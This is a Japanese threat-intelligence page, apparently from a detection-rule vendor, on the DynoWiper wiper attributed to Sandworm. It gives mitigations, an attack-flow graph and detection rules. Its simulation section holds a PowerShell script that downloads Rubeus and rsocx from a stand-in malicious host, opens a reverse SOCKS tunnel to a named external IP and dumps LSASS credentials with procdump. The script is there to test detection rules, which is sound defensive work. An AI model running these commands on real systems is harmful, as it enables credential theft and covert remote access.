ESETリサーチDynoWiperアップデート:技術分析と帰属
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
DynoWiperは、ポーランドのエネルギーセクター組織に対して使用された破壊的なワイパーで、運用の複数のエンドポイントに影響を与えました。実行ファイルは共有ネットワークロケーションに配置され、その共有から直接起動されました。ESETは、この活動を中程度の確信を持ってSandwormに帰属させています。一度実行されると、マルウェアはターゲットファイルをランダムバイトで破損させ、影響を完了させるための強制再起動をトリガーします。
調査
ESETは、C:inetpubpubにドロップされたschtask.exe、schtask2.exe、_update.exeの3つのサンプルを回収しました。埋め込まれたPDBパスは、バイナリがVagrant環境でコンパイルされたことを示唆しています。リバースエンジニアリングでは、3段階のワイピングルーチンがあることが示され、2つのバリアントはフェーズ間で5秒のスリープを挿入しています。妥協後のアーティファクトには、KerberosツールRubeusや、被害者のネットワーク内のrsocx SOCKS5プロキシも含まれていました。
緩和策
被害システム上のESET PROTECTは3つのバリアントすべてをブロックし、被害を制限しました。許可されていないスケジュールタスクの作成を防ぎ、共有ディレクトリへの予期しない書き込みを監視することで露出を減らします。アプリケーションの許可リスト化を追加し、可能な限りネットワーク共有からの実行を禁止します。
対応
schtask.exe、schtask2.exe、または*_update.exeを共有から実行するホストを特定して隔離します。揮発性証拠を保持し、スケジュールタスクとPowerShell展開の痕跡を確認し、Rubeusやrsocxのようなツールを削除します。完全なフォレンジックを完了し、確認されたクリーンバックアップからデータを復元します。
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress[“<b>アクション</b> – <b>T1105 侵入ツール転送</b><br/><b>説明</b>: Rubeus.exe や rsocx などの追加ツールが侵害環境にダウンロードされた。”] class action_ingress technique tool_rubeus[“<b>ツール</b> – <b>名前</b>: Rubeus.exe<br/><b>説明</b>: Kerberos 資格情報の窃取および悪用を実行する。”] class tool_rubeus tool tool_rsocx[“<b>ツール</b> – <b>名前</b>: rsocx<br/><b>説明</b>: コマンド&コントロール通信を中継する SOCKS5 プロキシ。”] class tool_rsocx tool action_cred_dump[“<b>アクション</b> – <b>T1003.001 LSASS メモリ</b><br/><b>説明</b>: タスク マネージャーを使用して LSASS プロセスのメモリをダンプし、資格情報を取得した。”] class action_cred_dump technique action_powershell[“<b>アクション</b> – <b>T1059.001 PowerShell</b><br/><b>説明</b>: 悪意のあるバイナリを展開し、後続の操作を容易にするため PowerShell スクリプトを実行した。”] class action_powershell technique action_cmd[“<b>アクション</b> – <b>T1059.003 Windows コマンド シェル</b><br/><b>説明</b>: cmd.exe を使用してシェル コマンドを実行し、ワイパーを制御した。”] class action_cmd technique action_gpo_discovery[“<b>アクション</b> – <b>T1615 グループ ポリシー探索</b><br/><b>説明</b>: 大規模展開の準備としてグループ ポリシー オブジェクトを特定した。”] class action_gpo_discovery technique action_gpo_modify[“<b>アクション</b> – <b>T1484 ドメインまたはテナント ポリシーの変更</b><br/><b>説明</b>: DynoWiper バイナリをドメイン全体に配布するため GPO を変更した。”] class action_gpo_modify technique action_schtask[“<b>アクション</b> – <b>T1053 スケジュール タスク</b><br/><b>説明</b>: schtask.exe を使用してワイパー実行を永続化するスケジュール タスクを作成した。”] class action_schtask technique action_data_removable[“<b>アクション</b> – <b>T1025 リムーバブル メディアからのデータ</b><br/><b>説明</b>: ツールおよびワイパーを共有ネットワーク ディレクトリ C:\\inetpub\\pub\\ に配置した。”] class action_data_removable technique action_file_discovery[“<b>アクション</b> – <b>T1083 ファイルおよびディレクトリ探索</b><br/><b>説明</b>: システム フォルダーを除外し、固定およびリムーバブル ドライブ上のファイルとディレクトリを列挙した。”] class action_file_discovery technique action_wipe[“<b>アクション</b> – <b>T1561.001 ディスク内容の消去</b><br/><b>説明</b>: ファイル内容をランダム データで上書きし、データを削除または破壊した。”] class action_wipe technique action_reboot[“<b>アクション</b> – <b>T1529 システム シャットダウンまたは再起動</b><br/><b>説明</b>: 破壊を完了するため、消去後に強制的に再起動した。”] class action_reboot technique action_proxy[“<b>アクション</b> – <b>T1090.002 外部プロキシ</b><br/><b>説明</b>: コマンド&コントロール通信を隠蔽するため、rsocx を外部 SOCKS5 プロキシ 31.172.71.5:8008 に設定した。”] class action_proxy technique malware_dyno[“<b>マルウェア</b> – <b>名前</b>: DynoWiper<br/><b>説明</b>: データを上書きし、再起動を引き起こす破壊型ペイロード。”] class malware_dyno malware %% Connections action_ingress –>|ダウンロード| tool_rubeus action_ingress –>|ダウンロード| tool_rsocx tool_rubeus –>|可能にする| action_cred_dump tool_rsocx –>|提供する| action_proxy action_cred_dump –>|資格情報を提供| action_powershell action_powershell –>|実行| action_cmd action_cmd –>|制御| action_wipe action_gpo_discovery –>|つながる| action_gpo_modify action_gpo_modify –>|配布| malware_dyno action_schtask –>|タスクを作成| malware_dyno action_data_removable –>|保存| tool_rubeus action_data_removable –>|保存| tool_rsocx action_data_removable –>|保存| malware_dyno malware_dyno –>|実行| action_file_discovery malware_dyno –>|実行| action_wipe action_wipe –>|引き起こす| action_reboot action_proxy –>|通信を中継| malware_dyno
攻撃フロー
検出
潜在的なマルウェアの自己削除またはStderr隠蔽操作(cmdline経由)
ビュー
システムの中断または再起動を強制するために使用されるシャットダウン(cmdline経由)
ビュー
IOCs(HashSha1)を検出する:ESET Research DynoWiperアップデート:技術的分析と属性付け
ビュー
IOCs(SourceIP)を検出する:ESET Research DynoWiperアップデート:技術的分析と属性付け
ビュー
IOCs(DestinationIP)を検出する:ESET Research DynoWiperアップデート:技術的分析と属性付け
ビュー
スケジュールタスクの実行を通じたDynoWiper展開の検出【Windowsファイルイベント】
ビュー
悪意のあるツールおよびLSASSメモリダンプの検出【Windowsプロセス生成】
ビュー
シミュレーション実行
前提条件:テレメトリとベースラインのプリフライトチェックが合格していること。
理由:このセクションでは、検出ルールをトリガーするように設計された攻撃者技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPsを直接反映させ、検出ロジックによって期待される正確なテレメトリを生成することを目指します。抽象的または無関係な例は、誤診につながります。
-
攻撃の流れとコマンド:
- リバースSOCKS5プロキシを確立する 使用
rsocx.exe。攻撃者は外部サーバーからバイナリをダウンロードし、%TEMP%に配置し、-r 31.172.71.5:8008引数で実行して、C2ホストへの逆トンネルを作成します。 - Kerberosチケットの悪用を行う と
rubeus.exe。このツールは、ドメイン管理者アカウントのためのKerberosチケット授与チケット(TGT)を要求し、その後、サービスチケット(s4u2self). - LSASSのメモリをダンプする 使用
procdump.exe(タスクマネージャーの一般的な代替手段)を使用して資格情報をキャプチャします。Sysmonは、攻撃者のprocdump.exeプロセスがにアクセスしたプロセスアクセスイベントを記録します。lsass.exeを使用して、0x1010許可されたアクセスマスク(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
- リバースSOCKS5プロキシを確立する 使用
-
回帰テストスクリプト:
# ------------------------------------------------------------- # シミュレーションスクリプト – rsocx、rubeus、 # およびLSASSダンプ用にSigmaルールをトリガーします。管理者権限で実行してください。 # ------------------------------------------------------------- # 1. rsocx.exe(リバースSOCKS5プロキシ)を展開 $rsocxPath = "$env:TEMPrsocx.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden # 2. rubeus.exe(Kerberosの悪用)を展開 $rubeusPath = "$env:TEMPrubeus.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden # 3. procdumpを使用してLSASSをダンプ(Sysinternalsが必要) $procdumpPath = "$env:TEMPprocdump.exe" Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip" Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1 if ($procdumpExe) { Copy-Item $procdumpExe.FullName $procdumpPath -Force Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait } Write-Host "シミュレーション完了。SIEMでアラートを確認してください。" -
クリーンアップコマンド:
# 残っている可能性のある悪意のあるプロセスを終了します。 Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force # バイナリとダンプファイルを削除 Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue # 任意で一時的なダウンロードディレクトリを削除 Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "クリーンアップ完了。"